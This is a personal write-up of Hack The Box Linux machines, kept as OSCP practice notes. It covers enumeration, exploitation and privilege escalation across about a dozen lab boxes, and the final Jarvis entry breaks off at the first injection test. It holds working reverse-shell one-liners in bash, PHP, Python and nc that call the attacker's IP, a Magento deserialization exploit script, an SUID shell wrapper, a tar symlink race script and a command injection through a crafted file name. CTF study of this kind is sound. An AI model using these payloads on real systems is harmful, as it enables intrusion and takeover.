Hack The Box: Linux Box Notes

Notes on enumerating, exploiting, and escalating privileges on Hack The Box Linux machines.

These notes cover most of the Hack The Box machines relevant to OSCP and mostly follow my own thought process.

1.sense

Information gathering:

(The machine has been shut down, but it looked roughly like this.)

Found a password at https://10.10.10.60/system-users.txt

The default account/password is admin:pfsense

The current username and password are rohit/pfsense

WhatWeb did not identify the technology. I searched the page source for sense and discovered that the target was running pfSense, which led me to the steps below.

After logging in successfully, the home page shows version 2.1.3-RELEASE

There was a problem with the exploit.

The source code could not be used directly, so I modified it to construct the payload.

SSL was probably enabled, which caused the request to fail. I worked around it by making the request manually, putting the cookie into the code, and adjusting the script. This requires some familiarity with Python.

Visiting it triggered a reverse shell directly. The machine has been shut down, so there is no screenshot.

Two flags:

/home/rohit/user.txt

/root/root.txt

Beginner difficulty.

2.Nibbles

Information gathering:

Start with a simple scan.

Fingerprinting.

Found the default credentials.

admin/nibbles

kali comes with an msf exploit script, but for oscp you generally do not use msf scripts.

I found a github script, and the vulnerability description also makes it possible to build the script yourself.

https://github.com/dix0nym/CVE-2015-6967

I read through the code. It mainly uploads a file through admin.php?controller=plugins&action=config&plugin=my_image

Then visit it to execute the file. A php file that launches a reverse shell is enough.

<?php exec(“bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1’”);?>

Received a shell as nibbler.

http://10.10.10.75/nibbleblog/content/

This was a directory traversal point. Rather than reading every file, I went straight for the configuration file, but Nibbleblog’s permission restrictions prevented me from reading it.

I found three possibilities. The most obvious exploit should be the last one, but I still tried them one by one.

First, create a tty.

python3 -c ‘import pty; pty.spawn("/bin/bash")’

We do not know the password, so leave this one for now.

.nano contained nothing, so let’s go straight to the final option.

Just escalate privileges directly.

Privilege escalation complete. This was also beginner level; it was mainly about becoming familiar with the various operations.

3.solidstate

I finished the box, but I’m borrowing someone else’s screenshot here because parts of my approach had problems.

Information gathering:

On port 80 I only found an email-sending interface. I looked around for ages and found nothing.

I had never dealt with nntp or james-admin before.

smtp probably would not require a login because there was no need to send email, so at the time I focused on pop3.

Testing suggested that [email protected] existed, but I did not know the password. I spent most of my time trying to find the pop3 password for [email protected].

Later, I found an exploit.

The modified script executed successfully, but according to the description, someone had to log in over ssh before the command I inserted would execute. The command I inserted launched a reverse shell.

So this route would not work.

This was my first blind spot: james remote admin on port 4555.

While reading the previous python script, I noticed that it defined the credentials root/root at the start.

The script also depended on these weak credentials to execute successfully. In other words, it logged in to port 4555 with these credentials.

The screenshot of the commands run after connecting directly to 4555 with telnet is gone. Roughly speaking, enter the username and password, then type help.

It displays many commands, including one for listing accounts. You can change the passwords for those accounts, then log in over pop3 and read the received emails. Just reset all of their passwords.

Check them one by one.

I eventually found a password in mindy’s account.

The basic pop3 commands are all available online.

At this point I had a foothold, so privilege escalation came next. I also made a mistake during privilege escalation and checked someone else’s write-up.

The login succeeded. As a small aside, remember how the reverse shell required someone to log in? The other listener happened to receive it.

Just stop the listener.

I used this guide to escape rbash. It is very detailed.

https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D

ssh [email protected] -t “bash –noprofile”

I ran into many problems while escalating privileges.

My approach was to start with sudo, but sudo was unavailable, and I did not know the root password needed to switch users with su.

I checked suid and found nothing. I also checked cron. None of the usual privilege-escalation paths turned up anything.

I then searched for files and only found /opt/tmp.py. This file was highly suspicious, but at the time I could not find anything linked to it. I added os.system(“id”) to check its privileges, but I could not determine whether the file was run by a scheduled task.

Obviously, it could only have the current user’s privileges, but I genuinely could not determine whether it was a scheduled task.

debian9 4.9.0-3-686-pae also had no privilege-escalation vulnerabilities at all.

I had already turned my attention to /bin/ under the user’s directory because it also had 777 permissions and was owned by root, but in practice I could not use sudo.

Only after reading a write-up did I discover that /opt/tmp.py was run by a scheduled task. I checked several write-ups; they found it using pspy or https://linpeas.sh/.

Just write something that launches a reverse shell.

I had actually collected all these scripts before, but never developed the habit of using them. My thought process was still flawed, though this did help me improve it.

4.Node

Information gathering:

I started with the web application. It was built with node.js, and I found several usernames worth noting down.

I went through the js files and found two endpoints.

http://10.10.10.58:3000/api/users/

http://10.10.10.58:3000/api/users/latest

Why did these three people take longer to appear on the home page? At first I thought their images were loading slowly over AJAX, but the real reason caught me by surprise.

There is actually a tool that can find these quickly, jsfinder, but oscp generally does not allow automated scripts like this, so for now I am reviewing them manually.

Only the last one did not turn up.

myP14ceAdm1nAcc0uNT manchester

tom spongebob

mark snowflake

Try each one against ssh and the website.

Only the administrator can download the backup. This endpoint is also present in the front-end js, but it requires authentication: /api/admin/backup

After decoding the backup file from base64, I found that it was a binary file. I tried many methods but could not unpack it.

Eventually I discovered that it was a zip file.

Decode the base64 into a file, then unzip it.

app.js contains the mongodb password, and ssh can connect directly.

mark:5AYRft73VtFpc84k

This time I uploaded a script first to escalate privileges. None of the standard privilege-escalation paths worked, so I checked the kernel and found an exp. This one was the best match.

Upload it, compile it, and run it to obtain root privileges.

5.valentine

Information gathering:

I found an interesting file in the dev directory. After decoding it, it looked like this.

There was an aes-encrypted key and an rsa private key. It felt like they might be used for an ssh connection, and judging by the name the user should be hype. Let’s try it.

All right, it is asking us for the key’s password.

Even rockyou did not contain the password. It felt like there was still something in the web page.

Judging from the notes, something needed to be decoded: make sure encoding and decoding are done on the client, fix this before going live, and do not use any encoder or decoder until it is complete.

Honestly, I was completely confused. I focused on the image, thinking it might be a technical issue, but found that the image contained nothing at all.

I pinned my hopes on directory brute-forcing. It was genuinely slow, but later I did find several encrypted php files.

I had actually forgotten the most important step here. Sometimes an important hint is a directory you can test manually.

In practice, there was nothing there either. I had no ideas left.

I eventually had to check a write-up and discovered something I had never learned before: scanning with –script vuln in nmap.

It scans for vulnerabilities, and one of the vulnerabilities it mentioned was Heartbleed. I knew nothing about it, so this broadened my thinking.

https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com

# This is the packet that triggers the memory over-read.

# The heartbeat protocol works by returning to the client the same data that was sent.

# That is, if we send “abcd” the server will return “abcd”.

# The flaw is triggered when we tell the server that we are sending a message that is X bytes long

# (64 kB in this case), but we send a shorter message; OpenSSL won’t check if we really sent the X bytes of data.

# The server will store our message, then read the X bytes of data from its memory

# (it reads the memory region where our message is supposedly stored) and sends that read message back.

# Because we didn’t send any message at all

# (we just told that we sent FF FF bytes, but no message was sent after that)

# when OpenSSL receives our message, it won’t overwrite any of OpenSSL’s memory.

# Because of that, the received message will contain X bytes of actual OpenSSL memory.

This explains it in great detail and makes the basic logic clear. We tell the server how many bytes we sent, but in reality we did not send them. It still returns that many bytes, and because we sent no actual information, it returns private information from the server’s memory instead.

kali includes several scripts, so I tested one of them.

I read through the script. It was very easy to use and even allowed a custom port.

I restarted the target, mainly because I had run nmap and the directory brute-forcing tools so much that all the important information had disappeared. I stared at it for ages, and every ua header was from nmap.

After looping several times and still finding nothing, I wrote a script and eventually found the important text.

It decodes to heartbleedbelied

Another new problem. Let’s check google.

Finally got a foothold. Time to escalate privileges.

The first thing was still to check sudo for conventional privilege escalation, but without the password I could not use it. I started exploring files, first uploading LinEnum.sh and pspy.

While exploring, I found that this linux version was very old and had a corresponding vulnerability, so I started trying the exp.

ubuntu 12.04

I found many exp, but none of them worked.

So I started exploring files. The command history contained many interesting things.

tmux -S /.devs/dev_sess

I ran it and immediately escalated to root.

Let’s understand why.

This file was assigned to the hype group and given read and write permissions, so the socket file could be used directly for communication.

This was actually visible here too.

The official difficulty was easy, but it felt closer to medium for me, mainly because I did not think of using Nmap.

6.Poison

Information gathering:

There was a file inclusion point on port 80.

There was a lot to exploit here. First, it allowed arbitrary file reads. There was also phpinfo information, and another file exposed a password.

With both the username and password, the login succeeded.

Going back to the file inclusion issue, remote code execution had been disabled.

However, php code could still be written into the log, and including the log could also launch a reverse shell.

But that user’s privileges seemed too limited.

Let’s log in directly here.

I went through everything and saw something interesting: the user’s shell was cshell. There was also a secret.zip file that required a password.

Transfer it to kali with nc and run john against rockyou.

It did not crack the password.

It turned out that the password was simply the login password: Charix!2#4%6&8(0

There was nothing in it. I did not understand what it was, but I could confirm that it was a binary file.

Upload the scripts and start collecting interesting findings.

Scheduled task: root runs /usr/libexec/atrun once every 5 minutes.

There was nothing in this configuration file either.

At this point I found that there were no conventional privilege-escalation paths at all, so I checked the kernel.

The kernel did not have any useful vulnerabilities either.

I could only read write-ups. Every one I checked used vnc for privilege escalation. Once I knew the entry point, I started exploring.

vnc was indeed running, but why exploit vnc? My understanding was that there must be some vnc credentials to find. vnc was currently hosted locally, so port forwarding was required.

Disabling the firewall did not help because it was bound to 127.0.0.1.

Since ssh was accessible, use ssh directly for the forwarding.

ssh tunnel: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html

ssh -L 8081:localhost:5901 [email protected]

After setting up the tunnel, use the file extracted earlier.

vncviewer -passwd secret 127.0.0.1:5901

This was the vnc password file.

It can also be decrypted with https://github.com/jeroennijhof/vncpwd

That completes it. The later machines get increasingly difficult, so the main goal is to learn the approach. Port forwarding does not have to use ssh; ssh is simply very convenient.

Looking back at a write-up, I also found something I had missed: a phpinfo race condition.

https://github.com/vulhub/vulhub/tree/master/php/inclusion

7.TartarSauce

Information gathering:

Only port 80 was open, so I will not include an image.

I am filling this in later, so some of the configuration may look a little strange.

There was nothing on this page. Later, robots and directory brute-forcing revealed several locations.

http://10.10.10.88/webservices/monstra-3.0.4/admin/ weak credentials admin/admin

However, it prevented files from being modified, so no files could be uploaded. None of the exp I found worked. I wasted a great deal of time here before realizing it was a Rabbit Hole.

I checked gobuster and found another directory mentioned in a write-up.

This was wordpress. I found a wpadmin user, but could not crack the password.

My notes here were sparse, but this route really did work, so I recorded it. I ran into many misconceptions while working through it and kept searching.

In the end, I could not make any progress through wordpress and checked a write-up. My wpscan could not find the vulnerable point at all, and neither could the nmap scripts. Only after adding threads to wpscan could it finish in 20 minutes. It was far too slow. Moving on.

At this point I was completely stuck and had no choice but to check the next step in a write-up. The key was that the gwolle-gb plugin had a remote file inclusion vulnerability that provided a foothold. In most write-ups, this was found by adding –plugins-detection aggressive to wpscan for a comprehensive scan. It took 3 hours when I ran it; adding threads later reduced that to 20 minutes.

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50

nmap

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #collect plugins

This also returned results. Check the plugins one by one.

Found the key point and completed the attack chain. Next, find an exp.

Just concatenate the path and host a reverse-shell script.

According to the description and what I encountered myself, the URL appends wp-load.php to the end.

Just construct the filename.

Start privilege escalation by gathering information.

After some basic collection, the information strongly suggested using sudo tar to pivot to onuma.

Let’s try it.

Create a tty.

Run the script again to gather information.

I used find on the .nano history but found nothing.

Based on the mysql history, I tried connecting to the database, but unfortunately the connection failed.

However, pspy helped me find something interesting.

It was exactly the same as the entry in the mysql history.

I looked it up.

Clearly, all of the entries above were scheduled tasks, but my permissions were insufficient, so they were not shown to me.

(After finishing and reading a write-up, I learned that locate can show how often it runs. find can as well, of course, but I did not think of it at the time. At least the direction was correct.)

The assigned permissions prevented me from finding it. Let’s inspect its contents.

I read through all of it. Every variable was hard-coded and could not be substituted.

In other words, it moves this backup file into the directory in the $tmpfile variable with root privileges. We need to forge the archive at $tmpfile.

There is no race-condition issue because it waits for 30 seconds.

According to the variable description, it needs to compare:

/var/www/html

/var/tmp/var/www/html

If they differ it returns 1 and reports an error; if they match it returns 0.

What we need to do is actually very simple.

tmp can be changed freely. Write a file and replace the archived tmp file; the tmpfile variable is /var/tmp.

There are many files below it. Watch the processes with pspy and replace the file as soon as it runs.

Write the bash script. If everything is correct, granting it execute permissions and running it will launch a reverse shell. Writing su root may also work.

Package it as a file. Based on the basedir directory structure, it should contain /var/www/html.

Package it as 111.

Replace it as soon as it appears. It successfully triggers check.

But the permissions on 1.sh were still onuma’s, and after extraction it became a binary file. Everything was gone.

There were major problems with this step. First, the contents were corrupted into binary gibberish, and second, the permissions were wrong.

linux has a useful behavior: if I set its permissions on kali, package it, and send it to the target, it retains the permissions from kali when extracted on the target.

So I packaged a bash file with rwsr-sr-x permissions and uploaded it.

The permissions were correct on the target, but execution still failed. After looking it up, I learned that:

On Unix/Linux systems, SUID (set user ID) may behave differently for binary executables and scripts. Many modern Linux distributions place additional security restrictions on SUID scripts to prevent potential security risks. This means that even with SUID set, a script may still fail to execute as expected and instead run as an ordinary user.

Sometimes suid or sudo can be used directly for privilege escalation, but that clearly did not work here.

So sudo was still required to execute it. In other words, a binary can work without sudo, but a bash script like this still needs sudo.

I had to upload a binary file here.

1
2
3
4
5
6
7
8
9

```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

The target machine was 32-bit.

gcc 1.c -o 1 -m32

Package it and upload it to the target machine.

It still reported an error. This was getting ridiculous.

gcc -static -m32 -o 1 1.c

That finally completed it. Interestingly, I saw a write-up with a very good approach.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
    sleep 10;
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

I read through the code.

It gets files in that directory whose names start with a dot, then hard-codes the result. An infinite loop checks for changes: if the file list has not changed, it keeps looping; if it has changed, it assigns the result to cur, moves the target file into the working directory defined above, extracts it, deletes robots.txt, replaces it with an ln link to /root/root.txt, moves and renames the file, and deletes the temporary files.

As for why onuma_backup_error.txt contains the flag, the answer is all in backeruperer.

errormsg is defined as this file.

The integrity_chk function calls diff -r, which compares every directory and file and also outputs any differences it encounters.

Here it writes the error information to errormsg, which is the onuma_backup_error.txt file from earlier.

That is how the flag can be obtained.

This script’s logic is so clear that it almost feels like the author wrote it.

This one machine took me from the afternoon until the evening, and I ran into a huge number of pitfalls. At least this was not the exam and I learned a lot; hitting these problems during the exam would be fatal.

8.Irked

Information gathering:

  1. Connect to ssh and see whether it provides any hints.

  2. Check port 80.

  3. I had forgotten about irc, so I searched and found that I had used it before: https://en.wikipedia.org/wiki/IRC. hexchat is a chat tool. The target had the default port 6697 open, along with ports 8067 and 65534. The version was UnrealIRCd, and the administrator’s email address was also available.

4.ircbind https://blog.csdn.net/ichen820/article/details/120365560 is a good article. It is related to nfs, but the nfs port was not open.

I checked all of it.

ssh had nothing. Port 80 had a manual page, and brute-forcing did not reveal anything either.

I looked into irc; just launch hexchat.

The list contained nothing. I checked every port; they all exposed the same service.

While brute-forcing port 80, I also checked for framework vulnerabilities. Only UnrealIRCd had one.

I read the code. It was a perl script where you just fill in the parameters, and it was not difficult to understand.

None of the included URLs worked anymore, so just construct the payload yourself.

bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1'

I sent the payload to all three ports with no effect at all. I searched for ages afterward and could not find anything. I was completely out of options.

I checked a write-up, and it used this exact payload. I tried again, and it still did not work.

Only later did I learn that everyone either sent it manually or wrote their own script. Mine simply would not connect because the script had a bug.

Sometimes, when a simple exp does not work, you can construct it manually.

I learned my lesson: I could not use the included script. There was also an msf exp, but it is best not to use that for oscp.

Let’s read the code and see how to construct it manually.

In this section, a tcp socket connects to the target ip/port, and reports an error if the connection fails.

Once connected, it calls the socket to send data, which is the previous payload. Leave its payload as unchanged as possible and simply add AB; in front.

Successfully connected.

The target was far too slow. The perl script sends the exp as soon as it connects, but how could it execute immediately? It needs to wait. I suspected the lag was the problem, and adding a sleep made the script work after all.

Sure enough.

I still had not analyzed it thoroughly enough.

I wasted a great deal of time here. The exp author probably did not account for this.

Now start privilege escalation. First, open another shell.

bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6666 <&1’ > cmd.out 2>&1 &

I reviewed every conf file in the current directory but found no useful information.

There was also a djmardov home directory, so I most likely needed to pivot to that user.

I found an exp based on the version, but it had no effect.

LinEnum.sh found nothing, so I will not include an image.

pspy32 did not reveal anything interesting either.

An interesting conventional privilege-escalation route: su could not be used and sudo did not exist. Based on su’s message, we needed to log in through a terminal. My rough idea was to write a private key and see whether that worked.

The configuration was fine, and the file was writable.

Generate a public/private key pair.

Rename the public key and upload it to the server. The name must be the default, authorized_keys.

The connection failed, so I debugged it.

It was a version issue. Generate the key pair again.

ssh-keygen -t rsa -t ed25519 -f ./new_temp

Successfully connected.

Good. Now I still needed a password.

Eventually I found this.

user.txt was inaccessible, and its target was also user.txt in the parent directory.

Based on the steg hint, I had tried using this to access the large image at the very beginning, but it did not work. Let’s try again.

There was no password and nothing came out, so I ignored it.

Found the password.

LinEnum.sh found a service I had never seen before, and it had the s permission.

Forging the file worked, giving root privileges.

That completed it. None of the tool-related parts were difficult because I already knew how to use them. I still need to improve my thought process. On machines like this, every piece of information has to be collected, but sometimes collecting too much makes everything look suspicious. I need to be more careful.

9.FriendZone

Information gathering:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|   /wordpress/: Blog
|_  /robots.txt: Robots file
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
139/tcp open  netbios-ssn
443/tcp open  https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
445/tcp open  microsoft-ds

I finished testing everything. Here are the conclusions.

21 did not allow anonymous login and offered no entry point.

22 offered no entry point.

53 was a dns server. I could test domain names and similar things later. On machines like those in oscp, every service has a purpose.

80 contained an empty wordpress site and revealed one domain: friendzoneportal.red

139/445 exposed a samba service. Try connecting to it.

443 exposed an https service, but there was nothing there.

samba contained an unauthenticated shared file with the following contents.

1
2
3
creds for the admin THING:

admin:WORKWORKHhallelujah@#

This password did not work for ssh, ftp, or samba.

I had just collected a domain name. With the suffix now known, add it to hosts.

friendzoneportal.red

There was nothing there. The dns server could help us look it up, so send a request directly.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
dig @10.10.10.123 friendzoneportal.red AXFR
This command returns records for the entire DNS zone, including A, AAAA, CNAME, and MX records, plus subdomain information.

; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.123 friendzoneportal.red AXFR
; (1 server found)
;; global options: +cmd
friendzoneportal.red.   604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.   604800  IN      AAAA    ::1
friendzoneportal.red.   604800  IN      NS      localhost.
friendzoneportal.red.   604800  IN      A       127.0.0.1
admin.friendzoneportal.red. 604800 IN   A       127.0.0.1
files.friendzoneportal.red. 604800 IN   A       127.0.0.1
imports.friendzoneportal.red. 604800 IN A       127.0.0.1
vpn.friendzoneportal.red. 604800 IN     A       127.0.0.1
friendzoneportal.red.   604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 660 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Mon Sep 30 08:07:05 EDT 2024
;; XFR size: 9 records (messages 1, bytes 309)

admin.friendzoneportal.red allowed a login.

Going back to look at the title, friendzone.red revealed something else.

administrator1.friendzone.red accepted the login, and there was some content inside.

Looking into it later, this was actually a local php file, which is why it could be called. This was an obvious lfi.

Start testing.

Since adding a name made it accessible, the application was probably appending .php. I could not access /etc/passwd or anything else, so use a php wrapper to view the source.

It did indeed append .php.

I also read the other files, but they contained nothing useful. All that was missing now was a way to write a file, although if I could write a php file, this point would seemingly be unnecessary.

I checked uploads.friendzone.red. It always reported a successful upload, but nothing appeared.

I read the code directly.

No wonder.

Having reached this point, there should not have been any real problem. All I lacked was permission to write a file. I suddenly remembered that ftp could write files, and more importantly, samba had a writable directory.

I had no credentials for ftp, so that was not an option, but samba would work.

The upload succeeded. Based on the image below, I guessed that it was probably under /etc.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/1

Finally got a foothold.

Gather more information:

1
2
3
4
5
6
7
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

At the start of this step I had not yet uploaded and run a script, but I found friend’s mysql password.

I also found a user named friend under home.

su did not work directly. Create a tty, and then su can switch to friend.

python -c ‘import pty; pty.spawn("/bin/bash")’

sudo -l was unavailable. Just connect directly with ssh.

All right, I misread it. It meant that friend was banned from using sudo.

I thought conventional privilege escalation would finish this. Just upload a script and run a scan.

1
2
3
4
5
6
7
8
root        596  0.0  0.3  28676  2964 ?        Ss   09:12   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
-rwxr-xr-x  1 root root 1232 Apr 19  2018 console-setup.sh
-rwxr-xr-x  1 root root 3809 Feb 15  2018 hwclock.sh
-rwxr-xr-x  1 root root 1479 Feb 16  2018 keyboard-setup.sh
-rw-r--r--  1 root root  685 Jan 28  2018 resolv.conf
-rw-r--r-- 1 root root 42 Jun 27  2018 apache2-systemd.conf
-rwxr-xr-x 1 root root 92 Feb 22  2018 hdparm
-rw-rw----  1 friend mail    1 Jan 15  2019 friend

There really was nothing useful. Let’s check the processes. Several privilege-escalation routes I had found so far involved scheduled tasks that I could not see, but they would be visible in the process list.

There really was a scheduled task.

Everything was commented out, but it mentioned an SMTP service for sending email.

I also saw user set to you and pass set to PAPAP.

After finishing collection, I continued searching and found something very interesting.

This basically confirmed it. Importing os.py would trigger the main function inside os. I had encountered this many times while coding before; just add something to it. Under the hood, os.py calls posixmodule.c, and that file has no system function. Just find a python reverse-shell script. Putting it in the main function will naturally cause it to be called.

Everything I found imported os, so I just needed one that did not use os.

Finding a script took a long time, but I eventually found one.

1
2
3
4
5
6
7
import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.13", 6666))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

The reverse shell connected successfully.

That finally completed it. I learned a lot about the thought process here as well. Just keep practicing.

10.SwagShop

Information gathering:

This was clearly a cms framework. Search for it immediately, identify the target version, and check for default credentials at the same time.

These exp could not find the endpoint, so they could not be used.

Directory brute-forcing revealed an interesting location.

Every uploaded session was recorded. I started by brute-forcing to see whether any historical session could be used to log in.

There was another approach. If I left the site alone and the target’s backend had a scheduled task, it would naturally log in automatically. I could keep refreshing without a cookie and then check which cookie was the newest.

There was absolutely nothing. I waited around 10 minutes to see whether a scheduled task would upload a session.

There was still no scheduled task activity.

However, the session files could be opened. I could brute-force the session files directly and inspect their contents, filtering them one by one as long as the ip was not mine.

There were actually many more, but I will not list them all.

They contained many cookies and endpoints, but even after using those cookies and changing the ua, I still could not access anything.

I wondered whether the cookie had expired, but found that the session could record things that had previously been accessed. At the same time, I found this.

Try logging in once with anything and see how it records the credentials.

I could not log in at all.

While searching for the hash, I found a report whose path closely resembled the searchsploit script I had found.

This article was written in 2015, when the vulnerability was still considered a 0day.

https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html

It felt like everything was hinting that I should use an exp, but I did not actually know the exact version of this cms.

This was the poc. I had forgotten this approach: if no version information can be found, perhaps the wordlist is simply not strong enough, and you can try an nday directly.

It worked. The script had a bug.

Delete the uncommented part and add the domain yourself. Another important point is that index.php must be appended for the include to work; otherwise the path cannot be resolved.

Finally got into the admin backend.

I actually had another code-execution script here, 37811, which I found during the earlier search. It could not log in without a username and password. Now I could modify the code and see whether it could get a shell.

This was where the script’s problem lay. Its request could never obtain the key. The intended approach was to append the key to the discovered url path and enter the backend directly. Delete all the earlier login code and pass it the key and url instead.

This was extremely difficult to sort out. I had no choice but to audit the code, and eventually finished it.

The two values needed for a successful login were on this home page.

Right on the home page.

The second value was also on the home page. Just switch over and capture the traffic.

Update the date.

Constructing the payload with the wrong type caused the script to hang; it had to be a bytes-like object rather than a str. I modified the original code and constructed it with Python 2.

Actually, just remove this:

The code failed entirely because the login here did not succeed, which caused everything afterward to fail. Delete it, fix everything, and running it directly produces the result.

I spent a great deal of time debugging this script. I had never used mechanize before, and if I reused it directly with python3, its regular expression had to be rewritten. If I simply inserted the required parameters myself, it also reported an error. It was ridiculous.

In particular, the final request and encryption had to be done with python2 because python2 and 3 generate base64 differently.

After reviewing everything and finally getting it to execute successfully, the easiest method was simply to find the tunnel parameter yourself. That was very easy.

For the payload, add the parameters yourself and let it generate the payload locally. Then just concatenate the url and visit it yourself.

Adding parameters to the script below directly produces the exp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hashlib import md5
import sys
import re
import base64
import mechanize
arg = "whoami"
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)

tunnel = "http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/"
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh
print exploit

arg is the command you want to execute.

install_date comes from /app/etc/local.xml.

After obtaining tunnel, keep only the key and delete everything after it.

Just visit the URL produced as exploit.

A bash reverse shell did not work in testing, so I used nc and got a connection back.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Getting the initial external foothold here demanded a fairly high level of code-auditing skill.

Privilege-escalation information gathering:

I originally thought I needed to escalate to haris, but one look at sudo -l revealed a conventional privilege-escalation path.

sudo /usr/bin/vi /var/www/html/api.php

Enter :!/bin/sh directly.

Overall, the hard part was not that the cms itself was especially difficult, but that it was so old. I had to modify scripts and audit code myself. At first I thought the code was written too abstractly, but looking at it later, it was actually correct; there were simply too many things to determine. Most of the time was spent obtaining the initial external foothold.

11.Networked

Information gathering:

I’ll get straight to the point: there wasn’t much here. It was mainly a code audit.

I reviewed all three files from start to finish and found no vulnerabilities at all. The only thing I noticed was its rather distinctive file-naming scheme.

There was still nothing after the audit, so I had no choice but to read a write-up. It was a bit mind-blowing.

https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php

https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0

https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html

I don’t know whether the box is just too old or what, but this was my first time seeing this kind of bypass.

There was actually a hint, though.

When you see an obvious API function as a hint, search for vulnerabilities in it directly.

Another lesson learned. The conclusion from those links above is this:

You only need to fool the code by uploading a php.gif file containing PHP. The server will then automatically parse it as PHP code.

Pretty ridiculous.

Let’s just pop a shell.

Time for privilege escalation and information gathering.

I found an obvious privilege-escalation path in the home directory.

This scheduled task runs every three minutes, probably as guly. I could upload pspy32 to check, but there was no need.

It takes a value, and that value can be appended inside exec.

So all we need is command concatenation: nohup /bin/rm -f $path$value > /dev/null 2>&1 &

We know path is /var/www/html/uploads/, while value is one of the files below it.

Under uploads, run touch “1;nc -c sh 10.10.16.13 6666 &”

That will send a shell back.

No problem.

Standard privilege-escalation enumeration. Let’s see what this file is.

I read through it but couldn’t find a problem, so I Googled the configuration name directly.

https://seclists.org/fulldisclosure/2019/Apr/24

Switch users directly at NAME and see what happens.

Done. At first I thought this would be pure code auditing. After spending ages on it, I didn’t expect this kind of box to lean more toward exploit use and search skills. In the future, whenever I encounter a hint or a framework, I should search for a payload immediately.

12.Jarvis

Information gathering:

I probably shouldn’t scan it, or I’ll get banned.

Add both domains to hosts.

Adding the domains didn’t seem to change anything. Let’s keep looking.

It seems that as long as I don’t attack port 64999, I won’t get banned. I even ran directory brute-forcing without a problem. This banning mechanism is strange; perhaps something nmap does triggers it.

I found an obvious injection point. OSCP doesn’t allow tools such as sqlmap, so I’ll test it manually.

